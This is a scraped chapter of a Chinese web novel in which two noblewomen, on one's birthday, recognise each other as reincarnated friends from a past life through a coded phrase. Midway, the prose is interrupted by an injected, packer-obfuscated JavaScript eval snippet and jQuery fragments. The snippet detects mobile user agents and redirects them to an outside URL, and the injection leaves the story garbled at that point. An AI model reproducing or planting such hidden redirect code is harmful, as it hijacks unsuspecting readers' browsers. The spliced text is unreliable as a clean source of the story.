默认冷灰
24号文字
方正启体

5.姐妹是树

作者:都是徒劳本书字数:K更新时间:
    “我为什么非要带这么重的头冠!”


    “过生辰又不是过年,为什么要抹这么重的胭脂!”


    “……这不是正夏里才穿的纱裙吗?你们想冻死我是不是!”


    “小姐!”桃汐将面前一刻不消停的女子硬生生给摁了回去,坚定道,“求您安分些坐着,一切交给我们就好!”


    “我不理解。”被强行摁在凳子上的女子露出茫然的神色,“你们从一大早开始到底在燃什么?”


    辰时不到,她就被人从榻上拽了起来。眼睛还没睁开呢,人已经被塞进了浴桶,明明昨儿夜里才刚洗过,哪有人无端端一天洗两回澡!


    这都算了,反正她睡眠质量好,在哪睡都是睡。谁知等她迷迷糊糊都转醒了,这群人还在忙活,甚至有越忙活越起劲的架势。


    “小姐难道还不知道今日是什么日子吗!”


    “我知道啊。”少女对此感到更加迷茫了,“不就是我的生辰吗?”


    过个生辰而已,往年也没这么大阵仗啊。


    “错!”浣云用力将最后一根金镶玉步摇插进她的发髻里,上下左右地仔细打量,终于露出满意的表情。


    “今天可是镇国大将军家那位张小姐第一次到咱们府上来的日子。”泻兰在身后举着最后要披在外裙上的薄纱,早已是摩拳擦掌,“我们小姐绝不能输。”


    四位妙龄侍女异口同声道:“没错,绝不能输!”


    要让全京城的人都知道,她们家小姐才是这京城里头一份的富贵,头一份的容貌,头一份的才情!


    “……”


    “我说,你们是不是弄错了什么。”被围坐中央的女子总算知道了她们的真实意图,语气顿时变得严肃起来,“我为什么非要与那张小姐作比呢?”


    就因为她是传言中与太子情意相通的护国公府小姐,陆今雨吗?


    连面都未曾见过的两人,只因一则再没有下文的婚事就被人拿来比来比去,何意味?何意义?


    陆今雨罕见地动了气了。


    她扫视一圈屋内,正色道:“给我换回寻常的衣裙、首饰、妆容。”她瞥了眼镜中的自己,顿了顿,又补了一句,“你们备下的这些,我都知道是好意。只是——我不喜欢。”


    屋内一时鸦雀无声,侍女们都僵在原地。


    半晌,才听见熏梅怯生生的声音:“可是……陛、陛下要给太子和张小姐赐婚……”


    陆今雨听着,露出一抹浅笑:“那是陛下的事,与张小姐何关?难不成你们觉得,一个闺阁女子,能够左右当今陛下的心思?”


    再说,这桩婚事太子已然拒绝,无负二人之间的承诺。她犯不着将对陛下的不满,迁怒到一个素未谋面的姑娘身上。


    熏梅咬了咬唇,还是忍不住道:“可万一……万一张小姐盛装出席,抢了您的风头……”


    陆今雨坚定道:“她不会的。”


    张小姐的事迹她早有耳闻,心中亦是十分仰慕。她不信一个足智多谋,能上阵点兵的女子会拘泥于这等情爱小事,更遑论在这种场合争什么风头。


    陆今雨见她们都熄了火,心知是把话听了进去,这才端下了小姐的架子,笑眯眯道:“好啦,别说这些了,赶紧帮我……”


    “不好了——!小姐,不好了——!”陆今雨话还未说完,屋外就传来花公公尖细的嗓音。


    陆今雨:“这是怎么了?”


    “张……张……”花公公喘着粗气,话都说不清了,“张、张家的小姐朝这边杀过来了!”


    只这一句,屋内好不容易才冷下来的斗志立马又被唤醒,叽叽喳喳地闹了起来:


    “公公可看清了?真的是张小姐?!”


    “张小姐穿的什么衣裙?戴的什么钗环?抹的什么妆面?”


    “花公公你快说句话呀!”


    “事已至此,小姐,你上吧!”


    四朵金花你一言我一语,吵得陆今雨头痛的很,她当机立断地喊道:“停!都别说了!”


    霎时间,五双眼睛都直愣愣地落在了她身上,全都写着:你看看你看看,我们说什么来着!


    陆今雨心里也有些慌乱,她还没遇到过这种事儿呢,难道这位张小姐当真如侍女们所说?她怎么想都觉得不可信,但看花公公的神色又不似作假。


    总之,既然人都来了,岂有不见之理。


    换装是来不及了,陆今雨一把拿过泻兰手中的薄纱披在身上,迎着早秋的清风雄赳赳气昂昂地走出了房门。


    身后五人激动地落泪为自家小姐喝彩:好样的!


    下一秒:


    “阿嚏——”屋外传来一声巨响,陆今雨像只被开水烫了脚又顺便被雷劈了的鹌鹑,瑟缩着脖子跑了回来。


    “老天奶,太冷了!”


    -


    张其羽几乎是一路小跑朝着陆家小姐的院中奔来,把公国夫人安排给她带路的侍女都甩在了身后。


    跨过最后一道门槛,终于进了陆小姐的内院,随着视线的平移,与院中人四目相对的一瞬间,张其羽擂鼓般的心跳像是被人按下的静止。


    新月笼眉,春桃拂脸,美玉不艳——这是一张与记忆中相差甚远的脸,但张其羽一眼便敢认定,就是她了。


    前进的速度从进门的那刻起就变得极为缓慢,张其羽的视线不愿从陆今雨的脸上移开分毫,周围的一切都与她失去了联系,唯有一个声音在心中不断催促:


    到她身边去,到她身边去!


    直到前方再也无路可走,张其羽站在台阶下,仰头看似平静地问道:“陆……今雨小姐?”


    陆今雨:“我是。”


    张其羽猛吸一口气,极力让自己的声音听起来镇定些:“陆小姐,我有十万火急之事要与你相商,还请你屏退左右。”


    骤闻此言,在场除陆今雨以外的陆家家仆皆是露出警惕不虞之色。这位张小姐仗着自己有几分名望,又有个做大将军的父亲,就这般目中无人、不知分寸,竟跑到国公府的地盘上来发号施令!


    他们当中,属花公公最为德高望重。他原是陛下身边的亲信,当初是为了照顾太子才一同跟到了国公府,太子回东宫后,他奉命继续跟在陆小姐身边护她周全。


    花公公盯着眼前来势汹汹的女子,危险地眯了眯眼睛。


    今儿个就算是要得罪整个张家,他也不会让陆小姐受半点委屈。


    心下既定,他正欲开口,却听身前的陆今雨道:“好。”


    花公公一怔。


    陆今雨转过身来,目光掠过他与四名侍女,面色平静,语气却不容置疑:“你们都先下去吧,我要与张小姐单独聊聊。”


    “小姐——”


    “下去。”


    花公公喉间的话生生咽了回去。他与四名侍女对视一眼,终是躬身一礼,朝着院外退了出去。


    在路过张其羽身边时,花公公大着胆子朝她送去警告的眼神,却发现此人的目光未曾偏移过分毫,始终落在陆今雨身上。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414838|200445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他内心焦灼不堪,出了院门后,当即派人前往东宫送话。


    院内一时间只剩下张、陆二人隔着几道长阶相望。少顷,陆今雨率先露出明媚的笑容:


    “张小姐,外面风大,不如我们进屋子里再说吧。”


    张其羽点头,跟着她进了屋内。


    下人们都被打发走了,陆今雨只能亲手替客人上茶。她特意选了一只芙蓉花神盏,递到张其羽面前,道:“张小姐,我不喜茶,屋中只有淡水,怠慢之处,还望海涵。”


    张其羽眼睫轻颤,沉声道:“我知道。”


    “……什么?”


    张其羽看向她,露出一个似哭非笑的表情,重复道:“我知道。”


    我知道你不爱喝茶,因为你每次喝完后都会失眠睡不着。


    陆今雨被她这句不着调的回答给弄得云里雾里,想要继续追问,张其羽却已低下头去,端详她手中的芙蓉盏。


    是上好的定窑白瓷,胎薄如纸,迎着光能隐隐透出指影。她轻轻转动盏身,那枝芙蓉便随着光线变幻,时而明媚,时而幽微,竟似活了一般,甚是好看。


    什么样的人家会允许女儿用这样名贵的茶盏来招待客人喝白水呢?张其羽想着,唇角渐渐洋溢出笑容。


    真好,她的小雨滴这一世托生在了极好的人家,有父母的疼爱,有忠心的侍从,荣华富贵,锦衣玉食。


    她是这整个护国公府的掌上明珠。


    陆今雨紧张地坐在不远处,看着张其羽从进门后那张脸上的情绪变来变去,一会儿像是要哭一会儿像是要笑,简直不知该如何是好。


    完了完了完了。


    陆今雨心里的小鼓越敲越响,憋得小脸都泛了红。该不会是因为那场拒婚,再加上如今京中那些乱七八糟的流言蜚语,把这位张小姐给逼得……神志不清了吧?


    苦等了半晌,也不见其说有何要紧事,陆今雨只好试探性地问道:“张小姐,你要同我说什么?”


    张其羽定定地看着她,陆今雨被她这样的眼神看得心里直发怵。


    到底什么事儿啊!你倒是说啊!就这么干看着,她又不是天上的仙女!


    陆今雨觉得自己快要疯了。


    正当她怀疑自己是不是也快要精神错乱的时候,张其羽突然开口道:“姐妹是树。”


    啥玩意儿啊姐妹是花是草是树的,姐妹是……


    等等。


    她刚才说什么?


    陆今雨感觉自己浑身的血液都凝固了,她僵直在那里,瞪大眼睛,不可置信道:“你说什么?”


    “我说,”张其羽直直逼视着她的眼眸,一字一顿,“姐妹是树,下一句,是什么。”


    ……


    陆今雨张了张嘴,身体仿佛不再是自己的。不知过了多久,她听见自己的声音,艰难地从喉咙里挤出:“男人……是路。”


    张其羽:“多靠树。”


    “…………少,迷路。”最后一个路字已是变了音,对完这几句暗号,陆今雨终于再不能克制自己的情绪,放声大哭起来。


    “呜呜——你,我,你是……呜啊呜呜呜呜呜——”她哭得语无伦次,眼泪决堤般涌出。


    一阵酸楚涌向鼻腔,张其羽强忍落泪的冲动,轻声道:“小雨滴,你还记不记得我。”


    陆今雨猛地扑进她怀里,哭声变得又闷又响,震得人心口发疼。


    “我、我怎么可能不记得!”


    “小羽毛,你是我的小羽毛啊!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)